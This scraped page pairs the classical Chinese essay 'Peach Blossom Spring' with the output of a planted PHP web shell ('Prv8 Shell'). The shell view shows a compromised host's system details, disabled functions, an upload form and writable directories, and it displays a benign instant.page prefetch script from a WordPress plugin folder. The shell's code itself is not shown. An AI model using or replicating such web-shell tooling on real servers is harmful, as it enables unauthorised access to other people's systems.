晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/rainic/www/oldTZh/wp-content/plugins/elementor-pro/assets/lib/instant-page/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/rainic/www/oldTZh/wp-content/plugins/elementor-pro/assets/lib/instant-page/instant-page.js
/*! instant.page v5.1.0 - (C) 2019-2020 Alexandre Dieulot - https://instant.page/license */
( function (){
	let mouseoverTimer
	let lastTouchTimestamp
	const prefetches = new Set()
	const prefetchElement = document.createElement( 'link' )
	const isSupported = prefetchElement.relList && prefetchElement.relList.supports && prefetchElement.relList.supports( 'prefetch' )
		&& window.IntersectionObserver && 'isIntersecting' in IntersectionObserverEntry.prototype
	const allowQueryString = 'instantAllowQueryString' in document.body.dataset
	const allowExternalLinks = 'instantAllowExternalLinks' in document.body.dataset
	const useWhitelist = 'instantWhitelist' in document.body.dataset
	const mousedownShortcut = 'instantMousedownShortcut' in document.body.dataset
	const DELAY_TO_NOT_BE_CONSIDERED_A_TOUCH_INITIATED_ACTION = 1111

	let delayOnHover = 65
	let useMousedown = false
	let useMousedownOnly = false
	let useViewport = false

	if ('instantIntensity' in document.body.dataset) {
		const intensity = document.body.dataset.instantIntensity

		if (intensity.substr( 0, 'mousedown'.length ) == 'mousedown') {
			useMousedown = true
			if (intensity == 'mousedown-only') {
				useMousedownOnly = true
			}
		} else if (intensity.substr( 0, 'viewport'.length ) == 'viewport') {
			if (! ( navigator.connection && ( navigator.connection.saveData || ( navigator.connection.effectiveType && navigator.connection.effectiveType.includes( '2g' ) ) ) )) {
				if (intensity == "viewport") {
					/* Biggest iPhone resolution (which we want): 414 × 896 = 370944
					 * Small 7" tablet resolution (which we don’t want): 600 × 1024 = 614400
					 * Note that the viewport (which we check here) is smaller than the resolution due to the UI’s chrome */
					if (document.documentElement.clientWidth * document.documentElement.clientHeight < 450000) {
						useViewport = true
					}
				} else if (intensity == "viewport-all") {
					useViewport = true
				}
			}
		} else {
			const milliseconds = parseInt( intensity )
			if (! isNaN( milliseconds )) {
				delayOnHover = milliseconds
			}
		}
	}

	if (isSupported) {
		const eventListenersOptions = {
			capture: true,
			passive: true,
		}

		if (! useMousedownOnly) {
			document.addEventListener( 'touchstart', touchstartListener, eventListenersOptions )
		}

		if (! useMousedown) {
			document.addEventListener( 'mouseover', mouseoverListener, eventListenersOptions )
		} else if (! mousedownShortcut) {
			document.addEventListener( 'mousedown', mousedownListener, eventListenersOptions )
		}

		if (mousedownShortcut) {
			document.addEventListener( 'mousedown', mousedownShortcutListener, eventListenersOptions )
		}

		if (useViewport) {
			let triggeringFunction
			if (window.requestIdleCallback) {
				triggeringFunction = ( callback ) => {
					requestIdleCallback( callback, {
						timeout: 1500,
					} )
				}
			} else {
				triggeringFunction = ( callback ) => {
					callback()
				}
			}

			triggeringFunction( () => {
				const intersectionObserver = new IntersectionObserver( ( entries ) => {
					entries.forEach( ( entry ) => {
						if (entry.isIntersecting) {
							const linkElement = entry.target
							intersectionObserver.unobserve( linkElement )
							preload( linkElement.href )
						}
					} )
				} )

				document.querySelectorAll( 'a' ).forEach( ( linkElement ) => {
					if (isPreloadable( linkElement )) {
						intersectionObserver.observe( linkElement )
					}
				} )
			} )
		}
	}

	function touchstartListener( event ) {
		/* Chrome on Android calls mouseover before touchcancel so `lastTouchTimestamp`
		 * must be assigned on touchstart to be measured on mouseover. */
		lastTouchTimestamp = performance.now()

		const linkElement = event.target.closest( 'a' )

		if (! isPreloadable( linkElement )) {
			return
		}

		preload( linkElement.href )
	}

	function mouseoverListener( event ) {
		if (performance.now() - lastTouchTimestamp < DELAY_TO_NOT_BE_CONSIDERED_A_TOUCH_INITIATED_ACTION) {
			return
		}

		const linkElement = event.target.closest( 'a' )

		if (! isPreloadable( linkElement )) {
			return
		}

		linkElement.addEventListener( 'mouseout', mouseoutListener, { passive: true } )

		mouseoverTimer = setTimeout( () => {
			preload( linkElement.href )
			mouseoverTimer = undefined
		}, delayOnHover )
	}

	function mousedownListener( event ) {
		const linkElement = event.target.closest( 'a' )

		if (! isPreloadable( linkElement )) {
			return
		}

		preload( linkElement.href )
	}

	function mouseoutListener( event ) {
		if (event.relatedTarget && event.target.closest( 'a' ) == event.relatedTarget.closest( 'a' )) {
			return
		}

		if (mouseoverTimer) {
			clearTimeout( mouseoverTimer )
			mouseoverTimer = undefined
		}
	}

	function mousedownShortcutListener( event ) {
		if (performance.now() - lastTouchTimestamp < DELAY_TO_NOT_BE_CONSIDERED_A_TOUCH_INITIATED_ACTION) {
			return
		}

		const linkElement = event.target.closest( 'a' )

		if (event.which > 1 || event.metaKey || event.ctrlKey) {
			return
		}

		if (! linkElement) {
			return
		}

		linkElement.addEventListener( 'click', function( event ) {
			if (event.detail == 1337) {
				return
			}

			event.preventDefault()
		}, { capture: true, passive: false, once: true } )

		const customEvent = new MouseEvent( 'click', { view: window, bubbles: true, cancelable: false, detail: 1337 } )
		linkElement.dispatchEvent( customEvent )
	}

	function isPreloadable( linkElement ) {
		if (! linkElement || ! linkElement.href) {
			return
		}

		if (useWhitelist && ! ( 'instant' in linkElement.dataset )) {
			return
		}

		if (! allowExternalLinks && linkElement.origin != location.origin && ! ( 'instant' in linkElement.dataset )) {
			return
		}

		if (! [ 'http:', 'https:' ].includes( linkElement.protocol )) {
			return
		}

		if (linkElement.protocol == 'http:' && location.protocol == 'https:') {
			return
		}

		if (! allowQueryString && linkElement.search && ! ( 'instant' in linkElement.dataset )) {
			return
		}

		if (linkElement.hash && linkElement.pathname + linkElement.search == location.pathname + location.search) {
			return
		}

		if ('noInstant' in linkElement.dataset) {
			return
		}

		return true
	}

	function preload( url ) {
		if (prefetches.has( url )) {
			return
		}

		const prefetcher = document.createElement( 'link' )
		prefetcher.rel = 'prefetch'
		prefetcher.href = url
		document.head.appendChild( prefetcher )

		prefetches.add( url )
	}
})();

haha - 2025